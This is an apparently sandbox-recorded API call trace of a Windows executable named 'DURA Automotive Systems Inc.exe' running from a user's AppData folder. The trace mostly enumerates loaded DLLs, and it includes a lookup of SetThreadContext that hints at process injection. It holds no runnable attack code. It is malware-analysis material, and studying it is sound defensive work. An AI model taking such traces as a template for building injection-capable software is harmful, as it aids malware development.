	[0175.294] GetLastError () returned 0xcb
	[0175.294] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75b00000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f
	[0175.295] GetLastError () returned 0xcb
	[0175.295] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75180000, lpmodinfo=0x24e08ec, cb=0xc | out: lpmodinfo=0x24e08ec*(lpBaseOfDll=0x75180000, SizeOfImage=0x15c000, EntryPoint=0x751cba3d)) returned 1
	[0175.295] GetLastError () returned 0xcb
	[0175.295] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75180000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9
	[0175.296] GetLastError () returned 0xcb
	[0175.296] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75180000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d
	[0175.296] GetLastError () returned 0xcb
	[0175.296] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74d20000, lpmodinfo=0x24e19e0, cb=0xc | out: lpmodinfo=0x24e19e0*(lpBaseOfDll=0x74d20000, SizeOfImage=0xb000, EntryPoint=0x74d21992)) returned 1
	[0175.297] GetLastError () returned 0xcb
	[0175.297] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74d20000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb
	[0175.297] GetLastError () returned 0xcb
	[0175.297] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74d20000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f
	[0175.298] GetLastError () returned 0xcb
	[0175.298] GetModuleInformation (in: hProcess=0x1e8, hModule=0x72be0000, lpmodinfo=0x24e2adc, cb=0xc | out: lpmodinfo=0x24e2adc*(lpBaseOfDll=0x72be0000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1
	[0175.298] GetLastError () returned 0xcb
	[0175.298] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x72be0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf
	[0175.299] GetLastError () returned 0xcb
	[0175.299] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x72be0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68
	[0175.300] GetLastError () returned 0xcb
	[0175.300] GetModuleInformation (in: hProcess=0x1e8, hModule=0x745f0000, lpmodinfo=0x24e3c74, cb=0xc | out: lpmodinfo=0x24e3c74*(lpBaseOfDll=0x745f0000, SizeOfImage=0x80000, EntryPoint=0x746037c9)) returned 1
	[0175.300] GetLastError () returned 0xcb
	[0175.300] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x745f0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb
	[0175.301] GetLastError () returned 0xcb
	[0175.301] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x745f0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f
	[0175.301] GetLastError () returned 0xcb
	[0175.301] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74450000, lpmodinfo=0x24e4d70, cb=0xc | out: lpmodinfo=0x24e4d70*(lpBaseOfDll=0x74450000, SizeOfImage=0x5b000, EntryPoint=0x74494d48)) returned 1
	[0175.302] GetLastError () returned 0xcb
	[0175.302] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74450000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc
	[0175.302] GetLastError () returned 0xcb
	[0175.302] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74450000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a
	[0175.303] GetLastError () returned 0xcb
	[0175.303] GetModuleInformation (in: hProcess=0x1e8, hModule=0x73cb0000, lpmodinfo=0x24e5ea8, cb=0xc | out: lpmodinfo=0x24e5ea8*(lpBaseOfDll=0x73cb0000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1
	[0175.304] GetLastError () returned 0xcb
	[0175.304] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x73cb0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd
	[0175.304] GetLastError () returned 0xcb
	[0175.304] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x73cb0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64
	[0175.305] GetLastError () returned 0xcb
	[0175.305] GetModuleInformation (in: hProcess=0x1e8, hModule=0x73b10000, lpmodinfo=0x24e7034, cb=0xc | out: lpmodinfo=0x24e7034*(lpBaseOfDll=0x73b10000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1
	[0175.305] GetLastError () returned 0xcb
	[0175.305] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x73b10000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c
	[0175.306] GetLastError () returned 0xcb
	[0175.306] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x73b10000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81
	[0175.306] GetLastError () returned 0xcb
	[0175.307] GetModuleInformation (in: hProcess=0x1e8, hModule=0x750f0000, lpmodinfo=0x24e8218, cb=0xc | out: lpmodinfo=0x24e8218*(lpBaseOfDll=0x750f0000, SizeOfImage=0x5000, EntryPoint=0x750f1438)) returned 1
	[0175.307] GetLastError () returned 0xcb
	[0175.307] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x750f0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9
	[0175.308] GetLastError () returned 0xcb
	[0175.308] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x750f0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d
	[0175.308] GetLastError () returned 0xcb
	[0175.308] CloseHandle (hObject=0x1e8) returned 1
	[0175.308] GetLastError () returned 0xcb
	[0175.313] CoCreateGuid (in: pguid=0x33d1b4 | out: pguid=0x33d1b4*(Data1=0x5e534d3d, Data2=0xdbbf, Data3=0x415f, Data4=([0]=0x84, [1]=0xfc, [2]=0x3, [3]=0xf2, [4]=0xb7, [5]=0x8, [6]=0x25, [7]=0xa3))) returned 0x0
	[0175.322] CoCreateGuid (in: pguid=0x33d718 | out: pguid=0x33d718*(Data1=0xe5618ef1, Data2=0x2053, Data3=0x4fc3, Data4=([0]=0x89, [1]=0xbd, [2]=0x53, [3]=0x1d, [4]=0xc6, [5]=0xa9, [6]=0xba, [7]=0x4c))) returned 0x0
	[0175.330] GetProcAddress (hModule=0x75960000, lpProcName="SetThreadContext") returned 0x759f5393
	[0175.339] GetCurrentProcessId () returned 0x530
	[0175.339] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x530) returned 0x1e8
	[0175.339] GetLastError () returned 0xcb
	[0175.339] EnumProcessModules (in: hProcess=0x1e8, lphModule=0x24f4abc, cb=0x100, lpcbNeeded=0x33dec4 | out: lphModule=0x24f4abc, lpcbNeeded=0x33dec4) returned 1
	[0175.339] GetLastError () returned 0xcb
	[0175.340] GetModuleInformation (in: hProcess=0x1e8, hModule=0xb0000, lpmodinfo=0x24f4bfc, cb=0xc | out: lpmodinfo=0x24f4bfc*(lpBaseOfDll=0xb0000, SizeOfImage=0x40000, EntryPoint=0xe80ce)) returned 1
	[0175.340] GetLastError () returned 0xcb
	[0175.340] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0xb0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="DURA Automotive Systems Inc.exe") returned 0x1f
	[0175.340] GetLastError () returned 0xcb
	[0175.340] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0xb0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\dura automotive systems inc\\dura automotive systems inc.exe")) returned 0x5d
	[0175.340] GetLastError () returned 0xcb
	[0175.340] GetModuleInformation (in: hProcess=0x1e8, hModule=0x77230000, lpmodinfo=0x24f5dbc, cb=0xc | out: lpmodinfo=0x24f5dbc*(lpBaseOfDll=0x77230000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1
	[0175.340] GetLastError () returned 0xcb
	[0175.340] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x77230000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9
	[0175.341] GetLastError () returned 0xcb
	[0175.341] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x77230000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d
	[0175.341] GetLastError () returned 0xcb
	[0175.341] GetModuleInformation (in: hProcess=0x1e8, hModule=0x73910000, lpmodinfo=0x24f6eb0, cb=0xc | out: lpmodinfo=0x24f6eb0*(lpBaseOfDll=0x73910000, SizeOfImage=0x4a000, EntryPoint=0x73912e54)) returned 1
	[0175.341] GetLastError () returned 0xcb
	[0175.341] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x73910000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb
	[0175.341] GetLastError () returned 0xcb
	[0175.341] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x73910000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f
	[0175.341] GetLastError () returned 0xcb
	[0175.342] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75960000, lpmodinfo=0x24f7fac, cb=0xc | out: lpmodinfo=0x24f7fac*(lpBaseOfDll=0x75960000, SizeOfImage=0x110000, EntryPoint=0x759732d3)) returned 1
	[0175.342] GetLastError () returned 0xcb
	[0175.342] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75960000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc
	[0175.342] GetLastError () returned 0xcb
	[0175.342] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75960000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20
	[0175.342] GetLastError () returned 0xcb
	[0175.342] GetModuleInformation (in: hProcess=0x1e8, hModule=0x768a0000, lpmodinfo=0x24f90b0, cb=0xc | out: lpmodinfo=0x24f90b0*(lpBaseOfDll=0x768a0000, SizeOfImage=0x46000, EntryPoint=0x768a7478)) returned 1
	[0175.342] GetLastError () returned 0xcb
	[0175.343] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x768a0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe
	[0175.343] GetLastError () returned 0xcb
	[0175.343] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x768a0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22
	[0175.343] GetLastError () returned 0xcb
	[0175.343] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75690000, lpmodinfo=0x24fa1ec, cb=0xc | out: lpmodinfo=0x24fa1ec*(lpBaseOfDll=0x75690000, SizeOfImage=0xa0000, EntryPoint=0x756a49e5)) returned 1
	[0175.343] GetLastError () returned 0xcb
	[0175.343] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75690000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc
	[0175.344] GetLastError () returned 0xcb
	[0175.344] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75690000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20
	[0175.344] GetLastError () returned 0xcb
	[0175.344] GetModuleInformation (in: hProcess=0x1e8, hModule=0x755e0000, lpmodinfo=0x24fb2f0, cb=0xc | out: lpmodinfo=0x24fb2f0*(lpBaseOfDll=0x755e0000, SizeOfImage=0xac000, EntryPoint=0x755ea472)) returned 1
	[0175.344] GetLastError () returned 0xcb
	[0175.344] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x755e0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa
	[0175.344] GetLastError () returned 0xcb
	[0175.345] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x755e0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e
	[0175.345] GetLastError () returned 0xcb
	[0175.345] GetModuleInformation (in: hProcess=0x1e8, hModule=0x767f0000, lpmodinfo=0x24fc3ec, cb=0xc | out: lpmodinfo=0x24fc3ec*(lpBaseOfDll=0x767f0000, SizeOfImage=0x19000, EntryPoint=0x767f4975)) returned 1
	[0175.345] GetLastError () returned 0xcb
	[0175.345] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x767f0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb
	[0175.345] GetLastError () returned 0xcb
	[0175.345] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x767f0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f
	[0175.346] GetLastError () returned 0xcb
	[0175.346] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74ec0000, lpmodinfo=0x24fd4e8, cb=0xc | out: lpmodinfo=0x24fd4e8*(lpBaseOfDll=0x74ec0000, SizeOfImage=0xf0000, EntryPoint=0x74ed0569)) returned 1
	[0175.346] GetLastError () returned 0xcb
	[0175.346] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74ec0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa
	[0175.346] GetLastError () returned 0xcb
	[0175.346] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74ec0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e
	[0175.347] GetLastError () returned 0xcb
	[0175.347] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74d90000, lpmodinfo=0x24fe634, cb=0xc | out: lpmodinfo=0x24fe634*(lpBaseOfDll=0x74d90000, SizeOfImage=0x60000, EntryPoint=0x74daa3b3)) returned 1
	[0175.347] GetLastError () returned 0xcb
	[0175.347] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74d90000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb
	[0175.347] GetLastError () returned 0xcb
	[0175.347] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74d90000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f
	[0175.348] GetLastError () returned 0xcb
	[0175.348] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74d80000, lpmodinfo=0x24ff730, cb=0xc | out: lpmodinfo=0x24ff730*(lpBaseOfDll=0x74d80000, SizeOfImage=0xc000, EntryPoint=0x74d810e1)) returned 1
	[0175.348] GetLastError () returned 0xcb
	[0175.348] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74d80000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd
	[0175.348] GetLastError () returned 0xcb
	[0175.349] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74d80000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21
	[0175.349] GetLastError () returned 0xcb
	[0175.349] GetModuleInformation (in: hProcess=0x1e8, hModule=0x736f0000, lpmodinfo=0x2500834, cb=0xc | out: lpmodinfo=0x2500834*(lpBaseOfDll=0x736f0000, SizeOfImage=0x7a000, EntryPoint=0x736f1f48)) returned 1
	[0175.349] GetLastError () returned 0xcb
	[0175.349] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x736f0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc
	[0175.350] GetLastError () returned 0xcb
	[0175.350] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x736f0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a
	[0175.350] GetLastError () returned 0xcb
	[0175.350] GetModuleInformation (in: hProcess=0x1e8, hModule=0x76bd0000, lpmodinfo=0x250196c, cb=0xc | out: lpmodinfo=0x250196c*(lpBaseOfDll=0x76bd0000, SizeOfImage=0x57000, EntryPoint=0x76be9ba6)) returned 1
	[0175.351] GetLastError () returned 0xcb
	[0175.351] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x76bd0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb
	[0175.351] GetLastError () returned 0xcb
	[0175.351] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x76bd0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f
	[0175.351] GetLastError () returned 0xcb
	[0175.352] GetModuleInformation (in: hProcess=0x1e8, hModule=0x758d0000, lpmodinfo=0x2502a68, cb=0xc | out: lpmodinfo=0x2502a68*(lpBaseOfDll=0x758d0000, SizeOfImage=0x90000, EntryPoint=0x758e6343)) returned 1
	[0175.352] GetLastError () returned 0xcb
	[0175.352] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x758d0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9
	[0175.352] GetLastError () returned 0xcb
	[0175.352] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x758d0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d
	[0175.353] GetLastError () returned 0xcb
	[0175.353] GetModuleInformation (in: hProcess=0x1e8, hModule=0x76ad0000, lpmodinfo=0x2503b5c, cb=0xc | out: lpmodinfo=0x2503b5c*(lpBaseOfDll=0x76ad0000, SizeOfImage=0x100000, EntryPoint=0x76aeb6ed)) returned 1
	[0175.353] GetLastError () returned 0xcb
	[0175.353] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x76ad0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa
	[0175.354] GetLastError () returned 0xcb
	[0175.354] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x76ad0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e
	[0175.354] GetLastError () returned 0xcb
	[0175.354] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75830000, lpmodinfo=0x2504c58, cb=0xc | out: lpmodinfo=0x2504c58*(lpBaseOfDll=0x75830000, SizeOfImage=0xa000, EntryPoint=0x758336a0)) returned 1
	[0175.354] GetLastError () returned 0xcb
	[0175.355] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75830000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7
	[0175.355] GetLastError () returned 0xcb
	[0175.355] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75830000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b
	[0175.355] GetLastError () returned 0xcb
	[0175.356] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75790000, lpmodinfo=0x2505d44, cb=0xc | out: lpmodinfo=0x2505d44*(lpBaseOfDll=0x75790000, SizeOfImage=0x9d000, EntryPoint=0x757c3fd7)) returned 1
	[0175.356] GetLastError () returned 0xcb
	[0175.356] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75790000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9
	[0175.356] GetLastError () returned 0xcb
	[0175.356] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75790000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d
	[0175.357] GetLastError () returned 0xcb
	[0175.357] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75730000, lpmodinfo=0x2506ec8, cb=0xc | out: lpmodinfo=0x2506ec8*(lpBaseOfDll=0x75730000, SizeOfImage=0x60000, EntryPoint=0x7574158f)) returned 1
	[0175.357] GetLastError () returned 0xcb
	[0175.357] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75730000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9
	[0175.357] GetLastError () returned 0xcb
	[0175.357] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75730000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d
	[0175.358] GetLastError () returned 0xcb
	[0175.358] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74df0000, lpmodinfo=0x2507fbc, cb=0xc | out: lpmodinfo=0x2507fbc*(lpBaseOfDll=0x74df0000, SizeOfImage=0xcc000, EntryPoint=0x74df168b)) returned 1
	[0175.358] GetLastError () returned 0xcb
	[0175.358] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74df0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9
	[0175.358] GetLastError () returned 0xcb
	[0175.358] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74df0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d
	[0175.359] GetLastError () returned 0xcb
	[0175.359] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74740000, lpmodinfo=0x25090b0, cb=0xc | out: lpmodinfo=0x25090b0*(lpBaseOfDll=0x74740000, SizeOfImage=0x5ab000, EntryPoint=0x74793dc0)) returned 1
	[0175.359] GetLastError () returned 0xcb
	[0175.359] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74740000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc
	[0175.360] GetLastError () returned 0xcb
	[0175.360] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74740000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a
	[0175.360] GetLastError () returned 0xcb
	[0175.360] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74670000, lpmodinfo=0x250a1e8, cb=0xc | out: lpmodinfo=0x250a1e8*(lpBaseOfDll=0x74670000, SizeOfImage=0x9b000, EntryPoint=0x7467232b)) returned 1
	[0175.360] GetLastError () returned 0xcb
	[0175.360] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74670000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb
	[0175.361] GetLastError () returned 0xcb
	[0175.361] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74670000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a
	[0175.361] GetLastError () returned 0xcb
	[0175.361] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75b00000, lpmodinfo=0x250b37c, cb=0xc | out: lpmodinfo=0x250b37c*(lpBaseOfDll=0x75b00000, SizeOfImage=0xc4a000, EntryPoint=0x75b81601)) returned 1
	[0175.362] GetLastError () returned 0xcb
	[0175.362] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75b00000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb
	[0175.362] GetLastError () returned 0xcb
	[0175.362] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75b00000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f
	[0175.363] GetLastError () returned 0xcb
	[0175.363] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75180000, lpmodinfo=0x250c478, cb=0xc | out: lpmodinfo=0x250c478*(lpBaseOfDll=0x75180000, SizeOfImage=0x15c000, EntryPoint=0x751cba3d)) returned 1
	[0175.363] GetLastError () returned 0xcb
	[0175.363] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75180000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9
	[0175.364] GetLastError () returned 0xcb
	[0175.364] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75180000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d
	[0175.364] GetLastError () returned 0xcb
	[0175.364] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74d20000, lpmodinfo=0x250d56c, cb=0xc | out: lpmodinfo=0x250d56c*(lpBaseOfDll=0x74d20000, SizeOfImage=0xb000, EntryPoint=0x74d21992)) returned 1
	[0175.364] GetLastError () returned 0xcb
	[0175.365] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74d20000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb
	[0175.365] GetLastError () returned 0xcb
	[0175.365] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74d20000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f
	[0175.365] GetLastError () returned 0xcb
	[0175.365] GetModuleInformation (in: hProcess=0x1e8, hModule=0x72be0000, lpmodinfo=0x250e668, cb=0xc | out: lpmodinfo=0x250e668*(lpBaseOfDll=0x72be0000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1
